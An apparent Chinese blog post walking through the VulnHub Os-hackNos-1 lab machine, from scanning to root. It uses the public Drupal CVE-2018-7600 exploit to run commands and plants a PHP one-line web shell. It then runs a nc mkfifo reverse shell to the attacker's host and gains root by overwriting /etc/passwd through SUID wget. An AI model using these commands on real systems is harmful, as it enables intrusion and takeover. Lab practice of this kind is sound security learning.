vulnhub靶机练习-Os-hackNos-1,超详细使用

第一次写自己总结的文章,之后也会有更新,目前还在初学阶段。

首先介绍一下靶机,靶机是 vulnhub Os-hackNos-1

简介: 难度容易到中, flag 两个 一个是普通用户的user.txt 另外一个是root用户的user.txt

靶机的地址:https://www.vulnhub.com/entry/hacknos-os-hacknos,401/

有的靶机可能打开无法获取IP,我们需要使用方法来进入到靶机内,修改信息。

 

开始过程:

1.去靶机的网站进行下载,一个是直接下载,一个是磁力链接。
 

 

2.在这个页面一直按shift然后按e进入页面
 
3.将这里的ro修改为rw single init=/bin/bash,然后按ctrl+x,进入页面
4.查ip发现查不到,记住网卡的名称,准备修改配置信息
5.vim /etc/network/interfaces 看一下配置信息用的是哪一个网卡,把这两个都改成 ens33
6.然后/etc/init.d/networking restart 重启网卡服务
7.最后按ctrl+alt+del,进行重启
 

接下来开始正式的操作

首先看ip然后扫描这个ip段,看靶机的IP地址是多少
 
发现靶机ip和其他的不同

 

使用nmap扫描:nmap -sV -sC -A 192.168.0.8 -oA oshacknos1

 

 

 

 

发现开放22和80端口,尝试访问

 

 

使用火狐访问,firefox http://192.168.0.8

 

 

访问成功

 

 

先使用目录扫描器,查看后台目录,发现gobuster没有安装,先安装。apt install gobuster

 

 

输入命令gobuster dir -u http://192.168.0.8/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
发现存在一个/drupal的页面

 

 

访问成功。http://192.168.0.8/drupal/

 

 

获取到了后台,是drupal一个php的内容管理系统。可以下载一个系统来查看他的后台有那些目录,或者去查找相关的目录。

 

 

发现版本为7.57,可以网上查找是否存在exp。

 

 

在github上发现了exp,https://github.com/pimps/CVE-2018-7600

 

 

创建一个文件夹,来安装exp。命令git clone https://github.com/pimps/CVE-2018-7600.git

 

 

使用python3来打开,输入-h参数。python3 drupa7-CVE-2018-7600.py -h

 

 

发现有很多参数,这里一般填写url即可。
positional arguments:
target URL of target Drupal site (ex: http://target.com/)
optional arguments:
-h, --help show this help message and exit
-c COMMAND, --command COMMAND Command to execute (default = id)
-f FUNCTION, --function FUNCTION Function to use as attack vector (default = passthru)
-p PROXY, --proxy PROXY Configure a proxy in the format http://127.0.0.1:8080/ (default = none)

 

 

输入url之后,默认输入了id,返回了用户www-data。命令python3 drupa7-CVE-2018-7600.py http://192.168.0.8/drupal/

 

 

这里的-c参数可以执行系统命令。命令python3 drupa7-CVE-2018-7600.py http://192.168.0.8/drupal/ -c whoami

 

 

查看目录文件。命令python3 drupa7-CVE-2018-7600.py http://192.168.0.8/drupal/ -c ls

 

 

访问数据库文件的页面。http://192.168.0.8/drupal/sites/

 

 

 

 

查看数据库文件。命令python3 drupa7-CVE-2018-7600.py http://192.168.0.8/drupal/ -c "cat sites/default/settings.php"

 

 

获取到了账号密码文件
* @code
* array(
* 'driver' => 'mysql',
* 'database' => 'databasename',
* 'username' => 'username',
* 'password' => 'password',
* 'host' => 'localhost',
* 'port' => 3306,
* 'prefix' => 'myprefix_',
* 'collation' => 'utf8_general_ci',
* );
* @endcode

 

 

在获取账号的同时也可以在对目录进行更深的扫描。gobuster dir -u http://192.168.0.8/drupal -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

 

 

在之前创建的文件夹目录下,创建config.txt文件,写入账号和密码。

 

编写一个php文件的一句话。<?php system($_POST['knife']);?>
 
开启python自带的httpserver,查看ip地址。python -m SimpleHTTPServer

 

 

要在靶机上上传这个木马文件,尝试访问,访问成功。命令python3 drupa7-CVE-2018-7600.py http://192.168.0.8/drupal/ -c "wget http://192.168.0.3:8000/qq.php"

 

 

上传成功

 

 

 

 

在抓代理之前,设置火狐为中文,方便之后的查看

 

 

发现代理没有下载,搜索foxyproxy进行下载,点击添加即可。

 

 

在burp这个页面设置代理

 

 

 

 

上传之后,查看文件无法显示,抓包看一下。

 

 

更改提交的方法,使用change request method

 

 

成功获取,可以执行命令了,试着做一个反弹shell

 

 

先监听9001端口

 

 

使用nc的命令进行反弹shell。rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

 

 

放到moon的这里。需要进行编码才可以。rm+%2ftmp%2ff%3bmkfifo+%2ftmp%2ff%3bcat+%2ftmp%2ff%7c%2fbin%2fsh+-i+2%3e%261%7cnc+192.168.0.3+9001+%3e%2ftmp%2ff

 

 

获取成功

 

 

对shell进行一个切换,-c导入模块pty,最后登录成功
python3 -c 'import pty;pty.spawn("/bin/bash")'

 

 

查看id和ls目录,查看/etc/passwd 下的目录,发现有一个james的用户,查看内容

 

 

查看user.txt,发现第一个flag。bae11ce4f67af91fa58576c1da2aad4b

 

 

试着访问root目录发现没有权限。继续查看其他文件,看看有没有可疑文件。

 

 

返回上一级目录查看文件,发现一个alexander.txt的文件。

 

 

查看文件发现为一些密文,可以使用burp来进行解密,发现可以使用base64位来进行解密
解密内容:+++++ +++++ [->++ +++++ +++<] >++++ ++.-- ----- --.<+ ++[-> +++<] >+++.
----- ---.< +++[- >+++< ]>+++ ++.<+ +++++ +[->- ----- -<]>- ----- --.<+
++[-> +++<] >++++ +.<++ +++[- >++++ +<]>. ++.++ +++++ +.--- ---.< +++[-
>+++< ]>+++ +.<++ +++++ [->-- ----- <]>-. <+++[ ->--- <]>-- -.+.- ---.+
++.<
使用百度进行查询发现是一种编码格式进行解密。

 

 

 

 

获得账号。james:Hacker@4514

 

 

保存账号到目录下

 

 

尝试登录,发现无法登录

 

 

想起之前有开放22端口,试着ssh登录,发现也是不行

 

 

没有其他办法了,试着提权,先看看suid提权,需要搜索到,带有s的文件,开始查找。find / -perm -u=s -type f 2>/dev/null

 

 

发现这里有一个wget,是可以下载文件的,普通用户也可以执行,可以用来替换我们的/etc/password。
把整个passwd先复制出来,然后在baji1的文件夹里创建一个passwd,粘贴进去。

 

 

创建一个用户

 

 

将root的格式复制出来,使用knife来进行使用
root:x:0:0:root:/root:/bin/bash
knife:$1$knife$C950ul0bfwnJsvgk7oiF/0:0:0:root:/root:/bin/bash

 

 

保存到创建的passwd里面

 

 

 

 

访问本地的端口,查看文件是否可以访问

 

 

下载到我们的目标靶机上,把passwd进行替换就可以了。命令wget http://192.168.0.3:8000/passwd -O /etc/passwd

 

 

打开passwd发现修改成功

 

 

使用knife进行登录,用户权限变成root,修改成功

 

 

返回主目录,打开root.txt。获取flag

 

 

查看一下ssh,发现ssh防护做的很好,只需要把目录给增强一下即可。

 

 

总结

1.第一次进行靶机的渗透,有需要地方还不熟悉,工具也是在过程中安装的没有事先安装。

2.过程中遇到了很多问题,文件上传的问题,nc反弹shell的问题等问题,这些问题在渗透中,都需要去查找资料,慢慢一步一步的去做。

3.总的来说,第一次靶机很艰难,但也十分有趣,能学习到很多知识,对自身也有很大的提升。

 
 
 
 
 
 
posted @ 2021-02-05 14:18  日月幽而复明  阅读(1538)  评论(1编辑  收藏  举报